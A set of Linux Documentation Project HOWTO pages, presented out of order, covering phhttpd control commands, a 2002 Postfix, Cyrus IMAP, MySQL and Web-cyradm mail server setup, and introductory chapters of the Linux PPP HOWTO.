Configuration File |  | Run Time Facilities


Run Time Facilities

PHHTTPD HTTP Accelerator HOWTO
Prev

5. Run Time Facilities

5.1. Overview

While phhttpd is running it listens to a 'control' socket for messages from the administrator. The currently provided phhttpd_ctl program allows the administrator to minimally interact with phhttpd. This provides both control and status reporting.

phhttpd_ctl always wants a --control argument that specifies the control socket of the running phhttpd daemon. This should match the <control> tag specified in the config file.

5.2. Log Rotating

phhttpd can be told to rotate its logs so that existing logs may be processed.

The --rotate argument to phhttpd_ctl tells phhttpd to rename the existing files to a unique name, open new files with the previously used names, then close the renamed logs and start using the newly created files. phhttpd_ctl will output the names of the newly created files which will be safe to use once the command exits.

The --reopen argument to phhttpd_ctl tells phhttpd to close the existing file logs and reopen the files with the filenames that were configured. This implies that an external entity has moved the files to new names and wants phhttpd to stop using them.

5.3. Status Reporting

The --status argument to phhttpd_ctl tells phhttpd to return a quick status blurb about the server. It contains miscellaneous information about the running state of the server.

Prev | Home
Logging |


Configuration

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

4. Configuration

4.1. Configuring MySQL

4.1.1. Securing MySQL

Because you are using MySQL to authenticate users, you need to restrict network access to Port 3306.

I suggest to just bind mysql to the loopback-interface 127.0.0.1. This makes sure nobody can connect to your MySQL-Daemon via the network.

edit /etc/init.d/mysql.server and edit line 107 as following:

Original line:

$bindir/safe_mysqld --datadir=$datadir --pid-file=$pid_file&

Changed line:

$bindir/safe_mysqld --datadir=$datadir --pid-file=$pid_file \
--bind-address=127.0.0.1&

(Re-)start your MySQL-Daemon by issuing /etc/init.d/mysql.server start

To ensure the configuration-change was successful issue: netstat -an|grep LISTEN. The Output should be looking similar to this:

bond:~ # netstat -an|grep LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN

4.1.2. Create the databases and tables

Now we need to create the database and tables for postfix and web-cyradm and add a user to the database

Web-cyradm comes with two SQL-files: insertuser.sql and create.sql The first inserts the Database user to the database »mysql«, the second creates the database »mail« and the needed tables.

The password for the user "mail" in this example is "secret" please insert whatever user and password you like

First you must add the user by executing /usr/local/mysql/bin/mysql < insertuser.sql After the new DB-user is successfully added, you need to reload mysql with mysqladmin reload

To create the needed tables in the database:

/usr/local/mysql/bin/mysql mail -u mail -p < \
/usr/local/apache/htdocs/web-cyradm/create.sql

Now lets populate our tables, and insert the first admin-user. This user is needed to login to Web-cyradm

Execute /usr/local/mysql/bin/mysql mail -p And type the following SQL query:

insert into adminuser (username, password) values ('admin', 'test');

Please note, this setup for web-cyradm is fully compatible with replex, another project. Please see http://www.replex.org for more details.

4.2. Configuring PAM

Now we need to get sure that PAM knows how to authenticate the Cyrus users

You have to create the file /etc/pam.d/imap with the following entries:

auth sufficient pam_mysql.so user=mail passwd=secret host=localhost db=mailadmin table=accountuser usercolumn=username   passwdcolumn=password crypt=0

auth sufficient pam_unix_auth.so

account required pam_mysql.so user=mail passwd=secret host=localhost db=mail table=accountuser usercolumn=username passwdcolumn=password   crypt=0

account  sufficient       pam_unix_acct.so

The lines containing pam_unix_auth.so and pam_unix_acct.so are only needed if you are migrating from wu-IMAP to cyrus. This way the users can be authenticate with its old unix-password and its new mysql-based password

If you will use Cyrus also for POP-Service just cp /etc/pam.d/imap /etc/pam.d/pop

4.3. Configuring Postfix

Postfix needs two major config files: main.cf and master.cf. Both needs now our attention.

4.3.1. master.cf

You need to change just one line:

old:

argv=/cyrus/bin/deliver

new:

argv=/usr/cyrus/bin/deliver

4.3.2. main.cf

Here you need to change some more things like hostname, relaying, alias-lookups etc.

First change hostname:

myhostname = foo.bar.org

mydestination

Here you have to put all domainnames that are local (corresponding to sendmail's /etc/mail/sendmail.cw) If you have multiple domains separate them with comma

mydestination = foo.bar.org, example.com, furchbar-grausam.ch, whatever.domain.tld

relayhost

Here you define where to deliver outgoing mails. If you do not provide any host. mails are delivered directly to the destination smtp host. Usually your relayhosts are your providers smtp-server

relayhost = relay01.foobar.net relay02.foobar.net relay03.foobar.net

mailtransport

Here you define how the mails accepted for local delivery should be handled. In our situation mails should be delivered by the cyrus delivery-program

mailbox_transport = cyrus

At the end of file you need to add:

virtual_maps = hash:/etc/postfix/virtual, mysql:/etc/postfix/mysql-virtual.cf

Outgoing addresses should be rewritten from i.e test0002@domain to user.name@virtualhost.com. This is important if you like to use a webmail interface.

sender_canonical_maps = mysql:/etc/postfix/mysql-canonical.cf

Now you need to create the file /etc/postfix/mysql-virtual.cf:

#
# mysql config file for alias lookups on postfix
# comments are ok.
#

# the user name and password to log into the mysql server
hosts = localhost
user = mail
password = secret

# the database name on the servers
dbname = mailadmin

# the table name
table = virtual

#
select_field = dest
where_field = alias
additional_conditions = and status = '1'

And the file /etc/postfix/mysql-canonical.cf:

# mysql config file for canonical lookups on postfix
# comments are ok.
#

# the user name and password to log into the mysql server
hosts = localhost
user = mail
password = secret

# the database name on the servers
dbname = mail

# the table name
table = virtual
#
select_field = alias
where_field = username
# Return the first match only
additional_conditions = and status = '1' limit 1

4.4. Configuring Cyrus IMAP

There is only little changes needed. Edit /etc/imapd.conf and take care that the following entry is done

    sasl_pwcheck_method: pam

This tells the Cyrus IMAP to authenticate using PAM

If you want to enable Cyrus' TLS/SSL facilities you have to create a certificate first. This requires an OpenSSL installation

openssl req -new -nodes -out req.pem -keyout key.pem
openssl rsa -in key.pem -out new.key.pem
openssl x509 -in req.pem -out ca-cert -req \
-signkey new.key.pem -days 999

cp new.key.pem /var/imap/server.pem

echo tls_cert_file: /var/imap/server.pem >> /etc/imapd.conf
echo tls_key_file: /var/imap/server.pem >> /etc/imapd.conf

If you like to use sieve (A Mail Filtering Language), you must change an entry in /etc/services. Add or change the following line:

sieve           2000/tcp

4.5. Configuring Web-cyradm

You just need to do some changes in /usr/local/apache/htdocs/web-cyradm/config.inc.php
cp   config.inc.php-dist config.inc.php

Edit the file and change the password and databasename to the appropriate values

Prev | Home | Next
Getting and installing the software |  | Testing the setup


Questions and Answers

Postfix-Cyrus-Web-cyradm-HOWTO
Prev

7. Questions and Answers

Here I answer the questions which I got from users. If you don't find an answer feel free to contact me

  • Q: Why MySQL and not LDAP?

    A: Good question. LDAP is role-based and it would be indeed a better solution for such applications. Unfortunately LDAP is very hard to set up. You have to make proper schemes etc. MySQL is the way strait ahead, it is very easy to handle and versatile. There is a PAM module available for LDAP, feel free to use it.

  • Q: Why Postfix and not Qmail?

    A: Lots of people like to see such a setup with Qmail. The reason why is, Mysql-support is a hack and not in the included in the main source-tree. This could end up in a bad situation. Think if a security-hole is found in qmail and the patch does not work with the corrected version. Postfix is supporting MySQL natively. Another (personal) reason is that I find Postfix more sympatic (I don't know why)

  • Q: I got a Error: "Temporary lookup failure"

    A: Postfix cannot look up the alias table. Must common failure is that MySQL is not running, or there is a authentication Error. Check /var/log/mail and /usr/local/mysql/var/<hostname>.err to track the error

  • Q: Does this HOWTO also work on other platforms?

    A: Unsure. I personally compiled MySQL and Apache on AIX 4.3 and 5.1L (php does not run properly on AIX), Solaris 6/7/8 and HP-UX. Cyrus, pam_mysql and cyrus I never tried. On Solaris there is maybe a chance to get pam_mysql running. On AIX there is no PAM, but a similar mechanism. In short: Try it, and let me know if were successful

Prev | Home
Further Information |


Postfix-Cyrus-Web-cyradm-HOWTO

Luc de Louw

luc@delouw.ch

Revision History
Revision 1.0.0 2002-04-07 Revised by: ldl
Initial Release

This document guides you through the installation of the Postfix mail transportation agent (MTA), the Cyrus IMAP server. The goal is a fully functional high-performance mailsystem with user-administration with Web-cyradm, a webinterface. Data like virtualusers, aliases etc. are stored in a mysql database.

Table of Contents
1. Introduction
1.1. Contributors and Contacts
1.2. Why I wrote this document
1.3. Copyright Information
1.4. Disclaimer
1.5. New Versions
1.6. Credits
1.7. Feedback
1.8. Translations
2. Technologies
2.1. The Postfix MTA
2.2. Cyrus IMAP
2.3. MySQL Database
2.4. pam_mysql
2.5. Web-cyradm Webinterface
3. Getting and installing the software
3.1. Getting and installing MySQL
3.2. Getting and installing Postfix
3.3. Getting and installing Cyrus IMAP
3.4. Getting and installing pam_mysql
3.5. Getting and installing Web-cyradm
4. Configuration
4.1. Configuring MySQL
4.2. Configuring PAM
4.3. Configuring Postfix
4.4. Configuring Cyrus IMAP
4.5. Configuring Web-cyradm
5. Testing the setup
5.1. (Re-)Starting the daemons
5.2. Testing Web-cyradm
5.3. Testing postfix
5.4. Testing the IMAP and POP functionality
6. Further Information
6.1. News groups
6.2. Mailing Lists
6.3. HOWTO
6.4. Local Resources
6.5. Web Sites
7. Questions and Answers
Next
Introduction


Getting and installing the software

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

3. Getting and installing the software

Most of the software is included in your Linux distribution. SuSE is shipping Cyrus as far as I know since 7.1 and Redhat at least since recent time.

I suggest you to install Cyrus and SASL as binary from rpm. Postfix is needed to compile by yourself because the lack of MySQL support by the rpm's from the distributors.

3.1. Getting and installing MySQL

3.1.1. Download

Origin-Site: http://www.mysql.com/downloads/

3.1.2. Building and installing

cd /usr/local
tar -xvzf mysql-3.23.49a.tar.gz
cd mysql-3.23.49a

./configure \
--prefix=/usr/local/mysql \
--enable-assembler \
--with-innodb

make
make install

/usr/local/mysql/bin/mysql_install_db
echo /usr/local/mysql/lib/mysql >> /etc/ld.so.conf
ldconfig

For security-improvement add a mysql-user on your system i.e. "mysql", then

chown -R mysql /usr/local/mysql/var

and change the line user=root to user=mysql in the file /usr/local/mysql/bin/safe_mysqld

you may wish to start mysql automatically at boottime, copy /usr/local/mysql/share/mysql/mysql.server to /etc/init.d/ for SuSE and Redhat. Further you need to add Symlinks to /etc/init.d/rc3.d for SuSE and /etc/rc.d/rc3.d

The following example is for SuSE Linux and should be easily changed for Redhat and other Linux distributions and commercial Unixes.

cp /usr/local/mysql/share/mysql/mysql.server /etc/init.d/
ln -s /etc/init.d/mysql.server /etc/init.d/rc3.d/S20mysql
ln -s /etc/init.d/mysql.server /etc/init.d/rc3.d/k08mysql

3.2. Getting and installing Postfix

3.2.1. Download

Origin-Site: http://www.postfix.org/ftp-sites.html

3.2.2. Creating a User-ID (UID) and Group-ID (GID) for postfix

Before you can build and install postfix you have to be sure a »postfix« and a »postdrop« groups and users exists on the System. First check for the groups. You can check this by grep postfix /etc/group and grep maildrop /etc/group

If there are no such groups and users, you just create them. Search for a free nummeric UID and GID. In the following example I will use UID and GID 33333 for Postfix and 33335 for the maildrop UID and GID. This ID's are corresponding to other documents.

groupadd -g 33333 postfix
groupadd -g 33335 maildrop

useradd -u 33333 -g 33333 -d /dev/null -s /bin/false postfix
useradd -u 33335 -g 33335 -d /dev/null -s /bin/false maildrop

3.2.3. Building and installing

The following screen shows what you have to do, if you installed MySQL from source as described above. If you installed MySQL from a binary package such as rpm or deb, then you have to change the include and library-flags to -I/usr/include/mysql and -L/usr/lib/mysql.

tar -xvzf postfix-1.1.7.tar.gz

cd postfix-1.1.7

make -f Makefile.init makefiles \
'CCARGS=-DHAS_MYSQL -I/usr/local/mysql/include' \
'AUXLIBS=-L/usr/local/mysql/lib -lmysqlclient -lz -lm'

make install

During make install a few question are asked. Just pressing Enter should match your needs. For Redhat users it could be useful to enter /usr/local/share/man

3.3. Getting and installing Cyrus IMAP

3.3.1. Download and installing

Like mentioned above, SuSE and Redhat are shipping Cyrus in their distributions. Just use yast or the corresponding tool in Redhat.

  • cyrus-imapd-devel-2.0.16-115

  • cyrus-sasl-1.5.24-157

  • cyrus-sasl-gssapi-1.5.24-157

  • cyrus-sasl-devel-1.5.24-157

  • perl-Cyrus-IMAP-2.0.16-115

  • perl-Cyrus-SIEVE-acap-2.0.16-115

  • perl-Cyrus-SIEVE-managesieve-2.0.16-115

  • cyrus-imapd-2.0.16-115

If you like, you can install it also on the commandline using:
rpm -ihv (package-name).rpm

Be sure to use only the lastest available version, so check out the downloads-site of your distribution

3.4. Getting and installing pam_mysql

3.4.1. Download

Origin-Site: http://sourceforge.net/projects/pam-mysql/

3.4.2. Installing

tar -xvzf pam_mysql-0.4.7.tar.gz

cd pam_mysql

make

cp pam_mysql.so /lib/security

3.5. Getting and installing Web-cyradm

3.5.1. Download

Origin-Site: http://www.delouw.ch/linux/web-cyradm

3.5.2. Installing

Web-cyradm is written in PHP. If you don't have a webserver with php installed, I like to refer to my Apache-Compile-HOWTO. That document describes how to set up Apache with PHP and other modules

cd /usr/local/apache/htdocs

tar -xvzf web-cyradm-latest.tar.gz

After unpacking web-cyradm move it to a place in your webservers DocumentRoot

This is all, now we need to configure the whole bunch of software

Prev | Home | Next
Technologies |  | Configuration


Introduction

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

1. Introduction

1.1. Contributors and Contacts

First I would thank all those people who send questions and suggestions that made a further development of this document possible. It shows me, sharing knowledge is the right way. I would encourage you to send me more suggestion, just write me an email <luc at delouw.ch>

1.2. Why I wrote this document

There are different approaches howto set up different mailsystems. Most documents available are related to Sendmail, procmail, WU-IMAPd and friends. These fine-running software is unfortunately very un-flexible concerning user administration.

For longer time I was testing alternative MTA's like qmail, postfix and exim, IMAP/POP-servers like Cyrus, vpopmail, Courier IMAP and others.

At the end of the day, from my point of view the couple Postfix/Cyrus seems to be the most flexible and performant solution.

All these combinations of software had one in common: there was only little documentation available concerning how this software is working together with each other. For installing the software, lot of effort must be spent to get all information needed to get all software running.

1.3. Copyright Information

This document is copyrighted (c) 2002 Luc de Louw and is distributed under the terms of the Linux Documentation Project (LDP) license, stated below.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have any questions, please contact <linux-howto@metalab.unc.edu>

1.4. Disclaimer

No liability for the contents of this documents can be accepted. Use the concepts, examples and other content at your own risk. As this is a new edition of this document, there may be errors and inaccuracies, that may of course be damaging to your system. Proceed with caution, and although this is highly unlikely, the author(s) do not take any responsibility for that.

All copyrights are held by their by their respective owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.5. New Versions

This is the initial release.

New version of this document are announced on freshmeat

The latest version of this document you can get from http://www.delouw.ch/linux

  • HTML.

  • Postscript (ISO A4 format).

  • Acrobat PDF.

  • SGML Source.

  • HTML gzipped tarball.

1.6. Credits

I would thank to the nice people at < discuss at linuxdoc.org> for supporting me in writing HOWTOs

1.7. Feedback

Feedback is most certainly welcome for this document. Without your submissions and input, this document wouldn't exist. Please send your additions, comments and criticisms to the following email address : <luc at delouw.ch>.

1.8. Translations

At the moment no translations are available. A german translation is planned and would be written by myself as soon as the document is valid

Translations to other languages are always welcome. If you translated this document, please let me know, so I can set a link here

Prev | Home | Next
Postfix-Cyrus-Web-cyradm-HOWTO |  | Technologies


Further Information

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

6. Further Information

Here you will find some other resources available in the internet

6.1. News groups

Some of the most interesting news groups are:

  • alt.comp.mail.postfix

    This is low traffic-group

  • comp.mail.imap

Maybe you also check out your country newsgroups e.g ch.comp.os.linux

Most newsgroups have their own FAQ that are designed to answer most of your questions, as the name Frequently Asked Questions indicate. Fresh versions should be posted regularly to the relevant newsgroups. If you cannot find it in your news spool you could go directly to the FAQ main archive FTP site. The WWW versions can be browsed at the FAQ main archive WWW site.

6.2. Mailing Lists

6.2.1. <postfix-users@postfix.org>

Send an mail to <majordomo@postfix.org> with the content (not subject):
subscribe postfix-users

Before writing to the list, check out the archive: http://www.deja.com/group/mailing.postfix.users

6.2.2. <info-cyrus@lists.andrew.cmu.edu>

Send an mail to <majordomo@lists.andrew.cmu.edu> with the content (not subject):
subscribe info-cyrus

Before writing to the list, check out the archive: http://asg.web.cmu.edu/archive/index.php?mailbox=archive.info-cyrus

6.3. HOWTO

These are intended as the primary starting points to get the background information as well as show you how to solve a specific problem. Some relevant HOWTOs are Cyrus-IMAP and Apache-Compile-HOWTO. The main site for these is the LDP archive

6.4. Local Resources

Usually distributions installs some documentation to your system. As a standard they are located in /usr/share/doc/packages

The SuSE rpms of Cyrus contains a lot a such documentation.

Postfix has some html-files in the source directory /usr/local/postfix-20010228-pl08/html

PAM comes also with lots of documentation in /usr/share/doc/packages/pam

The pam_mysql module has a readme with the size of 1670 bytes :-(

6.5. Web Sites

There are a huge number of informative web sites available. By their very nature they change quickly so do not be surprised if these links become quickly outdated.

A good starting point is of course the Linux Documentation Project home page, an information central for documentation, project pages and much more.

To get more deepened information about Postfix, then www.postfix.org would be the starting point.

Please let me know if you have any other leads that can be of interest.

Prev | Home | Next
Testing the setup |  | Questions and Answers


Technologies

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

2. Technologies

2.1. The Postfix MTA

Quoting www.postfix.org »Postfix attempts to be fast, easy to administer, and secure, while at the same time being sendmail compatible enough to not upset existing users. Thus, the outside has a sendmail-ish flavor, but the inside is completely different.«

Figure 1. Postfix - the big picture

Doesn't it look impressive? - It looks much more complicated as it is. Postfix is indeed nice to configure and handle

Unlike sendmail, postfix is not one monolithic program, it is a compilation of small programs, each of it has a specialized function. At this place I don't what to go into details with program does what. If you are interested how Postfix is working, please see the documentation at http://www.postfix.org/docs.html

In this document you will find the information what to put in the config files

2.2. Cyrus IMAP

The Cyrus IMAP is developed and maintained by Carnegie Mellon University.

Unlike the WU-IMAPd Cyrus is using its own method to store the users mail. The data is stored in a database, this makes Cyrus so performant. Especially with lots of users and/or lot of big emails, there is nothing such fast as the Cyrus IMAP-server.

Another very important feature is, you don't need a local Un*x user for each account. All users are authenticated by the IMAP-Server. This makes it a great solution for really huge base of users.

User administration is done by special IMAP-commands. This allows you to eighter use the commandline interface, or use one of the available Webinterfaces. This Method is much more secure than a Webinterface to /etc/passwd !

Since CMU changed the license policy for Cyrus, this software is going to be used by much more users

2.3. MySQL Database

MySQL is a very fast, powerful and very nice to handle Database.

Since Cyrus can authenticate its users with pam, you can use pam_mysql as a connector to the Userdatebase stored in MySQL. This allows you to create a nice Webinterface for your users for changing passwords, define and delete aliases and more.

2.4. pam_mysql

pam means "Pluggable authentication module" and was originally proposed by some people at Sun. In meantime a lot of modules have been developed. One of them is an interface to MySQL

With pam_mysql you to store the users password in a mysql database. Further, Postfix is able to lookup aliases from a MySQL-table. At the end of the day, you have a base for all administrative tasks to be done by the Sysadmin.

Further you will be able to delegate some tasks to Powerusers, e.g. creating Accounts for a particular Domain. Changing passwords and creating new aliases can be delegated to the user. At the end of the day you as a Sysadmin have the time to do some more productive tasks, or write a HOWTO for the Linux Documentation Project :-)

2.5. Web-cyradm Webinterface

Figure 2. Web-cyradm Domain administration

Web-cyradm is the Webinterface that allows you to perform the administrative tasks to your mailsystem This Screenshot shows the domain-administration part of Web-cyradm.

Web-cyradm is written in PHP, which is often installed on webservers. Time to set up Web-cyradm takes just a few minutes.

At the time being, Web-cyradm does not support different roles for its users. So you cannot use it as a frontend for your Powerusers (Domainadmins) or endusers. This Part of Web-cyradm is being developed, and should be ready for distribution in a few weeks (approx. end of may 2002.

Prev | Home | Next
Introduction |  | Getting and installing the software


Testing the setup

Postfix-Cyrus-Web-cyradm-HOWTO
Prev Next

5. Testing the setup

5.1. (Re-)Starting the daemons

Now all the software has been installed and configured, lets do some testings now. First you have to (re-)start all the daemons affected

  • postfix start

  • /etc/init.d/cyrus start

  • /etc/init.d/mysql.server start

  • /usr/local/apache/bin/apachectl startssl

Hopefully all daemons started without any complaints...

Now you can verify if the daemons are running properly by issuing netstat -an|grep LISTEN

The output should look similar like that:

bond:~ # netstat -an|grep LISTEN
tcp        0      0 0.0.0.0:993             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:995             0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:110             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:143             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:2000            0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN

The port are assigned like this:

  • 993 imap-ssl

  • 995 pop3-ssl

  • 3306 mysql

  • 110 pop3

  • 143 imap

  • 2000 sieve

  • 80 http

  • 25 smtp

  • 443 https

5.2. Testing Web-cyradm

Now you should be able to connect to http://localhost/mailadmin/ Login with the credentials defined before.

Define a Domainname and some accounts. Be sure the domainname belongs to your server. If not you have to fake it by enter the domain in /etc/hosts. The Domain must also be defined as local in /etc/postfix/main.cf (mydestination = domain)

5.3. Testing postfix

Now we are going to write a mail:

telnet localhost 25
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 mail ESMTP Postfix

helo localhost
250 mail
mail from: luc@delouw.ch
250 Ok
rcpt to: rcpt to: luc@localhost
250 Ok

data
354 End data with <CR><LF>.<CR><LF>
some text
.
250 Ok: queued as B58E141D33

quit

If you see such a message, then all seems to work fine. Be sure to specify a recipients address you previously defined in the web-cyradm database

If you get an error like this:

rcpt to: luc@localhost
451 <luc@localhost>: Temporary lookup failure

Then eighter MySQL is not running, DB permission are not set properly or you miss-configured /etc/postfix/main.cf

On any errors, I suggest to examine /var/log/mail. Often you will find some hints whats went wrong.

5.4. Testing the IMAP and POP functionality

To make that kind of tests. you just need a mailclient like kmail or netscape (Yes of course M$-Products are working as well) but in this example I'll using kmail

Figure 3. Creating a new account

If you enabled TLS/SSL, you may wish to test also the following:

Figure 4. Testing TLS/SSL functionality

If login fails, and you are sure, you typed the right password, take care that MySQL is running

Prev | Home | Next
Configuration |  | Further Information


Automating your connections - Creating the connection scripts

Linux PPP HOWTO
Prev Next

Chapter 18. Automating your connections - Creating the connection scripts

Table of Contents
18.1. Connection scripts for User name/Password Authentication
18.2. The ppp-on script
18.3. Editing the supplied PPP startup scripts
18.3.1. The ppp-on script
18.3.2. The ppp-on-dialer script
18.4. What a Chat script means...
18.5. A chat script for PAP/CHAP authenticated connections
18.6. The pppd debug and file option_file options

Whilst you can continue to log in by hand as shown above, it is much neater to set up some scripts to do this automatically for you.

A set of scripts automates the log in and PPP start up so all you have to do (as root or as a member of the PPP group) is issue a single command to fire up your connection.

18.1. Connection scripts for User name/Password Authentication

If your ISP does NOT require the use of PAP/CHAP, these are the scripts for you!

If the ppp package installed correctly, you should have two example files. For PPP 2.1.2 they are in /usr/sbin and for PPP 2.2 they are in /etc/ppp/scripts. They are called

for PPP-2.1.2

ppp-on
ppp-off

and for PPP-2.2

ppp-off
ppp-on
ppp-on-dialer

Now, if you are using PPP 2.1.2, I strongly urge you to delete the sample files. There are potential problems with these - and don't tell me they work fine - I used them for ages too (and recommended them in the first version of this HOWTO)!

For the benefit of PPP 2.1.2 users, here are BETTER template versions, taken from the PPP 2.2 distribution. I suggest you copy and use these scripts instead of the old PPP-2.1.2 scripts.

Prev | Home | Next
Setting up the PPP connection manually |  | The ppp-on script


How can I help?

Linux PPP HOWTO
Prev Next

Chapter 1. How can I help?

We will try to provide comprehensive coverage for all Linux PPP implementations. However time is of the essence and this document is not a revenue maker. We provide this information in hopes that it will be useful to the Linux Community and newly converted Linux users. We are always interested in feedback and will implement every relevant topic possible to this HOWTO.

If you would like to assist with this document, there are two primary avenues that are extremely helpful.

  • Purchase an OpenBook! If you purchase OpenDocs books, OpenDocs Publishing will donate a portion of the proceeds back to the Open Source Documentation Fund. This fund assists authors financially while they continue to write documentation for Open Source projects.

  • Provide a monetary contribution to the document. By doing so you can even request what you would like to have updated, written, or expanded with in the document. If it is a major revision (such as writing sections specifically for Mandrake or Caldera) please contact Command Prompt, Inc.

  • If you have written something that you would like to contribute just email it to poet@linuxports.com

Prev | Home | Next
About This Document |  | Introduction


Introduction

Linux PPP HOWTO
Prev Next

Chapter 2. Introduction

Table of Contents
2.1. Clients and Servers
2.2. Differences between Linux distributions
2.3. PPP configuration tools

PPP (the Point to Point Protocol) is a mechanism for creating and running IP (the Internet Protocol) and other network protocols over a serial link - be that a direct serial connection (using a null-modem cable), over a telnet established link, or a link made using modems and telephone lines (and of course using digital lines such as ISDN).

Using PPP, you can connect your Linux PC to a PPP server and access the resources of the network to which the server is connected (almost) as if you were directly connected to that network.

You can also set up your Linux PC as a PPP server, so that other computers can dial into your computer and access the resources on your local PC and/or network.

As PPP is a peer-to-peer system, you can also use PPP on two Linux PCs to link together two networks (or a local network to the Internet), creating a Wide Area Network (WAN).

One major difference between serial based PPP and an Ethernet connection is of course speed - a standard Ethernet connection operates at 10 Mbs (Mega - million bits per second) or 100 Mbs maximum theoretical throughput, whereas an analogue modem operates at speeds up to 56 kbps (kilo - thousand bits per second).

Also, depending on the type of PPP connection, there may be some limitations in usage of some applications and services.

2.1. Clients and Servers

PPP is strictly a peer to peer protocol; there is (technically) no difference between the machine that dials in and the machine that is dialed into. However, for clarity's sake, it is useful to think in terms of servers and clients.

When you dial into a site to establish a PPP connection, you are a client. The machine to which you connect is the server.

When you are setting up a Linux box to receive and handle dial-in PPP connections, you are setting up a PPP server.

Any Linux PC can be both a PPP server and client - even simultaneously if you have more than one serial port (and modem if necessary). As stated above, there is no real difference between clients and servers as far as PPP is concerned, once the connection is made.

This document refers to the machine that initiates the call (that dials in) as the CLIENT, whilst the machine that answers the telephone, checks the authentication of the dial in request (using user names, passwords and possibly other mechanisms) is referred to as the SERVER.

The use of PPP as a client to link one or more machines at a location into the Internet is, probably, the one in which most people are interested - that is using their Linux PC as a client.

The procedure described in this document will allow you to establish and automate your Internet connection.

This document will also give you guidance in setting up your Linux PC as a PPP server and in linking two LANs together (with full routing) using PPP (this is frequently characterized as establishing a WAN - wide area network - link).

Prev | Home | Next
How can I help? |  | Differences between Linux distributions


IP Numbers

Linux PPP HOWTO
Prev Next

Chapter 3. IP Numbers

Every device that connects to the Internet must have its own, unique IP number. These are assigned centrally by a designated authority for each country.

If you are connecting a local area network (LAN) to the Internet, YOU MUST use an IP number from your own assigned network range for all the computers and devices you have on your LAN. You MUST NOT pick IP numbers out of the air and use these whilst connecting to another LAN (let alone the Internet). At worst this will simply not work at all and could cause total havoc as your 'stolen' IP number starts interfering with the communications of another computer that is already using the IP number you have picked out of the air.

Please note that the IP numbers used throughout this document (with some exceptions) are from the 'unconnected network numbers' series that are reserved for use by networks that are not (ever) connected to the Internet.

There are IP numbers that are specifically dedicated to LANs that do not connect to the Internet. The IP number sequences are:-

  • One A Class Network Address 10.0.0.0 (netmask 255.0.0.0)

  • 16 B Class Network Addresses 172.16.0.0 - 172.31.0.0 (netmask 255.255.0.0)

  • 256 C Class Network Addresses 192.168.0.0 - 192.168.255.0 (netmask 255.255.255.0)

If you have a LAN for which you have not been allocated IP numbers by the responsible authority in your country, you should use one of the network numbers from the above sequences for your machines.

These numbers should never be used on the Internet.

However, they can be used for the local Ethernet on a machine that is connecting to the Internet. This is because IP numbers are actually allocated to a network interface, not to a computer. So whilst your Ethernet interface may use 10.0.0.1 (for example), when you hook onto the Internet using PPP, your PPP interface will be given another (and valid) IP number by the server. Your PC will have Internet connectivity, but the other computers on your LAN will not.

However, using Linux and the IP Masquerade (also known as NAT - Network address Translation) capabilities of the Linux and the ipfwadm software, you can connect your LAN to the Internet (with some restriction of services), even if you do not have valid IP numbers for the machines on your Ethernet.

For more information on how to do this see the IP Masquerade mini-HOWTO at Linux IP Masquerade mini HOWTO

For most users, who are connecting a single machine to an Internet service provider via PPP, obtaining an IP number (or more accurately, a network number) will not be necessary.

If you wish to connect a small LAN to the Internet, many Internet Service Providers (ISPs) can provide you with a dedicated subnet (a specific sequence of IP numbers) from their existing IP address space. Alternatively, use IP Masquerading.

For users, who are connecting a single PC to the Internet via an ISP, most providers use dynamic IP number assignment. That is, as part of the connection process, the PPP service you contact will tell your machine what IP number to use for the PPP interface during the current session. This number will not be the same every time you connect to your ISP.

With dynamic IP numbers, you are not necessarily given the same IP number each time you connect. This has implications for server type applications on your Linux machine such as sendmail, ftpd, httpd and so forth. These services are based on the premise that the computer offering the service is accessible at the same IP number all the time (or at least the same fully qualified domain name - FQDN - and that DNS resolution of the name to IP address is available).

The limitations of service due to dynamic IP number assignment (and ways to work around these, where possible) are discussed later in the document.

Prev | Home | Next
PPP configuration tools |  | Aims of this Document


Aims of this Document

Linux PPP HOWTO
Prev Next

Chapter 4. Aims of this Document

Table of Contents
4.1. Setting up a PPP Client
4.2. Linking two LANs or a LAN to the Internet using PPP
4.3. Using intuitive configuration tools to set up PPP
4.4. Setting up a PPP server
4.5. Using PPP over a direct null modem connection
4.6. This document at present does NOT cover...

4.1. Setting up a PPP Client

This document provides guidance to people who wish to use Linux and PPP to dial into a PPP server and set up an IP connection using PPP. It assumes that PPP has been compiled and installed on your Linux machine (but does briefly cover reconfiguring/recompiling your kernel to include PPP support).

Whilst DIP (the standard way of creating a SLIP connection) can be used to set up a PPP connection, DIP scripts are generally quite complex. For this reason, this document does NOT cover using DIP to set up a PPP connection.

Instead, this document describes the standard Linux PPP software (chat/pppd).

Prev | Home | Next
IP Numbers |  | Linking two LANs or a LAN to the Internet using PPP


Software versions covered

Linux PPP HOWTO
Prev Next

Chapter 5. Software versions covered

